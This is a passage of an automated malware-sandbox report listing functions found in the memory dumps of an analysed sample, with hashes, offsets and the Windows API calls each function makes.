Instruction Fuzzy Hash: 3CA1E574D00208CFEB14DFA9C994BDDBBB1FF89314F208269E408AB2A1DB759985CF55

Function 36AF0C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83001d6ad28adfa1ca96e99a92012f0d4a79657155d7a5752d1d4b9d4a9dbb84
Instruction ID: 6e2632435d54593725e4ddb17f1f48e6a6bee2302e21ac04de5b211da07f10dd
Opcode Fuzzy Hash: 83001d6ad28adfa1ca96e99a92012f0d4a79657155d7a5752d1d4b9d4a9dbb84
Instruction Fuzzy Hash: B7A1E474D00208CFEB14DFA9C954BDDBBB1FF89314F208269E408AB2A1DB759985CF55

Function 36AF0F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2734067728.0000000036AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36af0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 432894c6ea44f039f624780862664a2f667e4976024dfaa9f3982f9dbeabfd6d
Instruction ID: ac2297a7037bb63bc08f4163cbcb7743f06febf470daa40bcc314966f89ab943
Opcode Fuzzy Hash: 432894c6ea44f039f624780862664a2f667e4976024dfaa9f3982f9dbeabfd6d
Instruction Fuzzy Hash: 8A91E274D00318CFEB10DFA9C994B9CBBB1FF49314F208269E809AB2A1DB759985CF55

Function 000D4328 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0dc985d08dd9870f1c6ce239703ce64832e4f4c431b35b2dac99e6819fae04d
Instruction ID: 1dba7338ab27be9a505ef91e184b2b34a627c9943b5e5f0d2c86a885ceaa185d
Opcode Fuzzy Hash: a0dc985d08dd9870f1c6ce239703ce64832e4f4c431b35b2dac99e6819fae04d
Instruction Fuzzy Hash: 2591D574E00358CFEB54DFA9D884A9DBBF2BF89300F14816AE409AB365DB349985CF50

Function 39A8BA88 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3152b3f906113a563e11d866fd25e44e6318cc2c2ec72de6ecbfccd01f830bd9
Instruction ID: 088f620843d76e2ffbddd65098de81a1923576aba41c007cd28687e0e6e30b7c
Opcode Fuzzy Hash: 3152b3f906113a563e11d866fd25e44e6318cc2c2ec72de6ecbfccd01f830bd9
Instruction Fuzzy Hash: 7C81C574E04249CFEB14DFAAC94469DBBF2FF88710F248229D858AB359DB359942CB50

Function 39A8BA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21a4f5c40c81a15b1ade55756ba9d87bfd5e84b0b6b9e1dcd7570bcf43ec20cc
Instruction ID: 30eb953d89e66f86d0f6b22281c3a43fef2f995760a8675af203932b310f32d8
Opcode Fuzzy Hash: 21a4f5c40c81a15b1ade55756ba9d87bfd5e84b0b6b9e1dcd7570bcf43ec20cc
Instruction Fuzzy Hash: 6581C474E04249CBEB14DFAAC95469DBBF2FF88710F248229D818BB395DB359942CB50

Function 39A88640 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d908f4cc3f2436f3292cbed4e45ec2f53744c6774895b7a00ac7a6b37c489cc7
Instruction ID: 5bf98bbc6444946a9dfd61fed08d9586b77a11c8f118ca9d80acbd76370134fc
Opcode Fuzzy Hash: d908f4cc3f2436f3292cbed4e45ec2f53744c6774895b7a00ac7a6b37c489cc7
Instruction Fuzzy Hash: D071B475E05268CFDB64DF6AC9807DDBBF2BF89301F1491AAD409A7250DB349A82CF50

Function 39EBF316 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2204e4dea262259f9c105ca8a81f3a8bce0a04943378d555e3e3a0bd1581ec2d
Instruction ID: 94e1cc15013054a77ff91f4b701fb3815e5915aa543e5f977bed2fe62849ef89
Opcode Fuzzy Hash: 2204e4dea262259f9c105ca8a81f3a8bce0a04943378d555e3e3a0bd1581ec2d
Instruction Fuzzy Hash: 72611734A40259CFEB25DF68C955BADFBB2FF88700F1080A9980A67750DB355E82EF50

Function 39A89D00 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5048258d1d6facae65a0933f951d4978945be721f72c163cf1221c65dc4c01e
Instruction ID: 7fea9c2dcca3ed37befe7becd5204c96b6239c135d0cee2c8d820ad3622695f6
Opcode Fuzzy Hash: d5048258d1d6facae65a0933f951d4978945be721f72c163cf1221c65dc4c01e
Instruction Fuzzy Hash: E1415AB1D056188FEB58CF6BC9457D9FAF3AFC9300F14C1AAC40CA6264DB740A858F50

Function 39A8A351 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2956d5b40297912df8b0e9e77b6c8ecce31b6a2cef77c6fb23c73f995b832bc
Instruction ID: 937cd1873f4f5377e0439e30d59806afc1fa1b90cc0cea1283a170643aca95ab
Opcode Fuzzy Hash: a2956d5b40297912df8b0e9e77b6c8ecce31b6a2cef77c6fb23c73f995b832bc
Instruction Fuzzy Hash: 154148B5D016188BEB58CF6BCD5578AFAF3AFC9310F04C1BAD50CA6264DB740A858F51

Function 39EB0970 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 39EB09FE
GetCurrentThread.KERNEL32 ref: 39EB0A3B
GetCurrentProcess.KERNEL32 ref: 39EB0A78
GetCurrentThreadId.KERNEL32 ref: 39EB0AD1

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 16b662aeb96bd09ce5f82f995a50d34823117fafebb2a9e9513b6ca0eda01ca3
Instruction ID: 50888370738281ec782bb56ecd2382384c32a18adcb9f07429f2d795a65554fc
Opcode Fuzzy Hash: 16b662aeb96bd09ce5f82f995a50d34823117fafebb2a9e9513b6ca0eda01ca3
Instruction Fuzzy Hash: 375167B0D0434A8FDB04DFAAC544BDEBBF1BF88311F21845AD458A7261D735A940CF65

Function 39EB0980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 39EB09FE
GetCurrentThread.KERNEL32 ref: 39EB0A3B
GetCurrentProcess.KERNEL32 ref: 39EB0A78
GetCurrentThreadId.KERNEL32 ref: 39EB0AD1

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: eb8b849f2e3401fe22de9a3f0b217cf4d3c43129a22d508e08b1ac29d7a0f6e6
Instruction ID: c193475ced5fbde189ea60009eb6a07ae468e8943f6fac93f80d456854071559
Opcode Fuzzy Hash: eb8b849f2e3401fe22de9a3f0b217cf4d3c43129a22d508e08b1ac29d7a0f6e6
Instruction Fuzzy Hash: 565134B090430A8FDB04DFAAC545B9EBBF1BF88311F208469E419A72A1DB75A940CF65

Function 39A87920 Relevance: 3.9, Strings: 3, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<C8, xrefs: 39A87B22
<C8, xrefs: 39A87AEB
<C8, xrefs: 39A879D4

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: <C8$<C8$<C8
API String ID: 0-3515760634
Opcode ID: b80bfe23a1162f483702265df4590bc2219410a790cab734b3b787da47fefbe2
Instruction ID: 40d24c55c24a119106aec0f5041719a6747f522a772f422ac8bd0258757e0b77
Opcode Fuzzy Hash: b80bfe23a1162f483702265df4590bc2219410a790cab734b3b787da47fefbe2
Instruction Fuzzy Hash: 5C51E174E01318CFEB14DFA9C898AADBBB2FF88705F608129D805AB254DB355A46DF40

Function 39A8FAB0 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$X64X6DX6TX6dX6tX6, xrefs: 39A8FC8A
g8, xrefs: 39A8FAD1

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: $X64X6DX6TX6dX6tX6$g8
API String ID: 0-1359129848
Opcode ID: b0232815adce64237326d0f8cd1a77b098407c8c7cfcd61359ad1d37a1020260
Instruction ID: ccd050e1fb56905db11fc5bd62dea533842cf77603b923f15a8f142ca29cb7b4
Opcode Fuzzy Hash: b0232815adce64237326d0f8cd1a77b098407c8c7cfcd61359ad1d37a1020260
Instruction Fuzzy Hash: EC710975E00219CFDB15DFB5C9589ADBFB6FF89B05F21812AD806AB250DB349942CF80

Function 39A87913 Relevance: 2.6, Strings: 2, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<C8, xrefs: 39A87B22
<C8, xrefs: 39A87AEB

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: <C8$<C8
API String ID: 0-2669143913
Opcode ID: d73bdaedbf456be621f42e94251d4325246524ec3c45342e6b558fa2757ed57f
Instruction ID: 246d756f339b64ef5f84afbe6ebb9aaa880f7db52aad7c198084ce130c02c49f
Opcode Fuzzy Hash: d73bdaedbf456be621f42e94251d4325246524ec3c45342e6b558fa2757ed57f
Instruction Fuzzy Hash: 0D310371D05328DEEB10CFA9D8487DEBBB2BF89305F50852AD805BB250DB75564ACF50

Function 39EB0104 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 39EB0222

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 6fd4446e9fb3e06dffb78f21a23a2753a5b2ff994269da4c66203155cc72162e
Instruction ID: c43951830abe45a8fdc75bbd682083e4da0fb3d153b555a28372e418d0d4e56c
Opcode Fuzzy Hash: 6fd4446e9fb3e06dffb78f21a23a2753a5b2ff994269da4c66203155cc72162e
Instruction Fuzzy Hash: 8551E2B5D04349AFDF15CFA9C880ADEBFB5BF49310F24812AE418AB210D771A845CF90

Function 39EB0110 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 39EB0222

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 361766d5c56f4ade22475599faf6b14c47382086f88c03d6f7fc4bc2e3ef166f
Instruction ID: 92741085590ba9b6add8924deb5ac5ac73627474ac407121de28d1ddcbeb50d5
Opcode Fuzzy Hash: 361766d5c56f4ade22475599faf6b14c47382086f88c03d6f7fc4bc2e3ef166f
Instruction Fuzzy Hash: 0541D2B5D04309EFDF15CFA9C980ADEBBB5BF48350F64812AE418AB210D775A845CF90

Function 39EB1DC0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 39EB1E81

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 6ca4320e344c00aa58c58ea63accf65f61cffc0c050c5a50aed3eee5a24ba3ee
Instruction ID: 17d8ef898bcc26d701ecddfee2866bc0f9d0437bd06ca91121ff592544f2e378
Opcode Fuzzy Hash: 6ca4320e344c00aa58c58ea63accf65f61cffc0c050c5a50aed3eee5a24ba3ee
Instruction Fuzzy Hash: 3241F4B9904349DFDB14CF99C884A9ABBF5FF88324F24C459D519AB321D774A841CBA0

Function 39EB0BC0 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39EB0C4F

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: bb1e5826120887dabab51ad88ab30c80243865699be30bc161bda5717b39b599
Instruction ID: 09e55150e4257395d852745eead095e1b9524ef965eaa5c60b00957e286ed40d
Opcode Fuzzy Hash: bb1e5826120887dabab51ad88ab30c80243865699be30bc161bda5717b39b599
Instruction Fuzzy Hash: D921E4B5D04349AFDB10CFAAD984ADEBFF4EB48310F24841AE958A7350D378A940CF61

Function 39EB0BC8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39EB0C4F

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c4edefe8d16b665f889e319b214e52da468e31215ba5a7efeb433eaca7d5b283
Instruction ID: 79dc5022cb34726340962ab7142761a523ef51c796a4e911319b8a18736f956e
Opcode Fuzzy Hash: c4edefe8d16b665f889e319b214e52da468e31215ba5a7efeb433eaca7d5b283
Instruction Fuzzy Hash: B221C6B5D00249AFDB10CFAAD584ADEBBF4EB48710F14841AE954A7350D374A950CF65

Function 39EBD3E8 Relevance: 1.6, APIs: 1, Instructions: 51comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 39EBD445

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 67d67a98599a85ac68ecad9043e71099f52bf7fd32625794eca12e9a1cc28d39
Instruction ID: c3ace89adcfc37fc730f3c81a55ecac8fb265314a3d71e5c7795ddbe4ad88c24
Opcode Fuzzy Hash: 67d67a98599a85ac68ecad9043e71099f52bf7fd32625794eca12e9a1cc28d39
Instruction Fuzzy Hash: DE1136B5D043488FDF20CFA9D444BDEBBF4EB89324F24845AD518A7610C379A584CFA1

Function 39EB2018 Relevance: 1.5, APIs: 1, Instructions: 48timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 39EB207D

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: fa4b00a726cde6bfbf8d3f4190a333b25c179bd878a25de0ae07d6cd9755827b
Instruction ID: 5817ae738baeb7413a5b4c603ac066a788f96186e27c18c31a1a7617f3a706f1
Opcode Fuzzy Hash: fa4b00a726cde6bfbf8d3f4190a333b25c179bd878a25de0ae07d6cd9755827b
Instruction Fuzzy Hash: 551136B5800309DFDB10CF9AC444BDEBBF8EB58320F108419E558A7310C375A940CFA5

Function 39EBC560 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 39EBD445

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: db53e516b08ea516b43485ce6768eefd898b3edb61264e05d74869ac5e3bb808
Instruction ID: db5d8276ad3191c14583c184f056f2761cede362b9c86033ca09159b08d8a429
Opcode Fuzzy Hash: db53e516b08ea516b43485ce6768eefd898b3edb61264e05d74869ac5e3bb808
Instruction Fuzzy Hash: 871142B58043498FCB20DFAAC544B8EBBF8EB48320F208419E518A7310C778A980CFA5

Function 39EBE700 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,39EBD92F), ref: 39EBE765

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: ffbeb0e0d08d9cde8afc555a8b565b7698a3cc9414885a8195b81e0e2abf1208
Instruction ID: a14ddc74ef713bb63dd474494cbb76c4fcc871d2c95ff00681d65ff9e6804965
Opcode Fuzzy Hash: ffbeb0e0d08d9cde8afc555a8b565b7698a3cc9414885a8195b81e0e2abf1208
Instruction Fuzzy Hash: 751130B9C002498FCB10CFAADA84BCEFBF0EB48320F10851AD418B7640C338A545CFA5

Function 39EBC60C Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,39EBD92F), ref: 39EBE765

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: bc32a9d1e1307c171baaee2c9112c675503dc96334471cb2787ff091ab1adef4
Instruction ID: 2d55d076ed70ec78b5fa5c07cf1e25a49c5a56c8853d45fd17589b7597b3564b
Opcode Fuzzy Hash: bc32a9d1e1307c171baaee2c9112c675503dc96334471cb2787ff091ab1adef4
Instruction Fuzzy Hash: 5A111DB5C043499FDB14CFAAD988B9EBBF4EB48320F10842AE418A7210C378A540CFA5

Function 39EB2020 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 39EB207D

Memory Dump Source

Source File: 00000005.00000002.2736229094.0000000039EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39eb0000_ajRZflJ2ch.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 3526e7d55b005f66d22f63c4fdf1d08ceeb9cf0bcb1cd27cfc928ed7ecb241b3
Instruction ID: 733556cfcc6411110e0929dabbdfbe6a10f3a4c4e96e1070519b1cb7781f3ebd
Opcode Fuzzy Hash: 3526e7d55b005f66d22f63c4fdf1d08ceeb9cf0bcb1cd27cfc928ed7ecb241b3
Instruction Fuzzy Hash: 301103B5800349DFDB10DF9AC885BDEBBF8EB48320F108419D518A7310C375A940CFA1

Function 39A8D548 Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

dr8, xrefs: 39A8D56D

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: dr8
API String ID: 0-2562908008
Opcode ID: a18a848093595af67115ebc1ed2c62bad754c8de5fe33eea98be7e4408cee76f
Instruction ID: a08be46620394fceeec744be54810fad4747714c0ad9f126b0b1aa3d872762c4
Opcode Fuzzy Hash: a18a848093595af67115ebc1ed2c62bad754c8de5fe33eea98be7e4408cee76f
Instruction Fuzzy Hash: 1C51A070A002499FDB05EBA8D8519EEBBB1FF89300F1045A9D005BB266DB35AE41DF51

Function 39A8CF30 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

Tk8, xrefs: 39A8CFE0

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: Tk8
API String ID: 0-4048039222
Opcode ID: 68f4b1571d6388eaea4bc2fea5975f850a9c34c9f54e550358fe0d9e09b731ba
Instruction ID: d9f406c723c39db9a9ee1209cb9f094fd6237c0970052b3e19d25c2e296c5b1d
Opcode Fuzzy Hash: 68f4b1571d6388eaea4bc2fea5975f850a9c34c9f54e550358fe0d9e09b731ba
Instruction Fuzzy Hash: 25310876A0C3908FEB15CB75C8506EEBFF15F89B00F0481AED846E7651CB21AC0ACB61

Function 39A8CF68 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

Tk8, xrefs: 39A8CFE0

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: Tk8
API String ID: 0-4048039222
Opcode ID: bb8d5706a907dcaf0bf24d01c595a76c0fad4abe306053de4116bf810d06ede3
Instruction ID: 2412308909e023424ed0a83299c0a2068b5a4b391810f63ae8bf3630eaf41a86
Opcode Fuzzy Hash: bb8d5706a907dcaf0bf24d01c595a76c0fad4abe306053de4116bf810d06ede3
Instruction Fuzzy Hash: B131C876A043058BEB28CF65D5506AEBFF5AF88B40F50862DD802A7640DF35EC05CBA0

Function 39A8FAA1 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

g8, xrefs: 39A8FAD1

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: g8
API String ID: 0-1574894643
Opcode ID: a6333d544fa7945c60d5de684bc1d50d556fe1274a203ab5ce245de98de2409e
Instruction ID: f22405b6cf55f7672873186c8dd835b5a82a2614054a9068da785e38b2554746
Opcode Fuzzy Hash: a6333d544fa7945c60d5de684bc1d50d556fe1274a203ab5ce245de98de2409e
Instruction Fuzzy Hash: 37318C38E003458FEB09DBB5C4585ADBFF6AF88A44F24852EC806AB390DF348841CF90

Function 39A8F090 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

tX6, xrefs: 39A8F0F8

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: tX6
API String ID: 0-4158506833
Opcode ID: 3d7c9257ce6f6d27e3fa228da5542cbd37814baa23e99f220200ac1bd0a49b07
Instruction ID: ed29554681c20b1dba339471f923ac1980cbb4f0e0fb768e790529d81bfd6c1c
Opcode Fuzzy Hash: 3d7c9257ce6f6d27e3fa228da5542cbd37814baa23e99f220200ac1bd0a49b07
Instruction Fuzzy Hash: E4118E30744A418FD714CF6DC45185ABBF6AF8A64431542AEE045CB772DB30EC86DB90

Function 39A8E7F4 Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

tX6, xrefs: 39A8F0F8

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: tX6
API String ID: 0-4158506833
Opcode ID: 3aee5220db02d2b195eb8be3f4e56c5740a34521a713b18f629f81f4e0c80eff
Instruction ID: 873d55461839400036c4299d2c6e239bfc0ffd5c2304828d238016031a1adae0
Opcode Fuzzy Hash: 3aee5220db02d2b195eb8be3f4e56c5740a34521a713b18f629f81f4e0c80eff
Instruction Fuzzy Hash: CF016931740A018FD314DF2EC88191ABBF6FFC9B44315866AE406CB321EB30EC469B90

Function 39A895E8 Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

j8, xrefs: 39A895E8

Memory Dump Source

Source File: 00000005.00000002.2736064050.0000000039A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39a80000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID: j8
API String ID: 0-2773366914
Opcode ID: d0e88a4485a6f8ead3b5d3d24ea348b6b30a5fb70b74d53bf85d65b851f48c14
Instruction ID: f4b6e3f8d96848e42bfb68ce243342e7844a36fb6b354066c559ef7765c26794
Opcode Fuzzy Hash: d0e88a4485a6f8ead3b5d3d24ea348b6b30a5fb70b74d53bf85d65b851f48c14
Instruction Fuzzy Hash: 80F0F471E08218DBEB00AB64C9047AF7FA5FB88750F10562AE80457640DB35B419CBD2

Function 000D7458 Relevance: .7, Instructions: 703COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2707091571.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

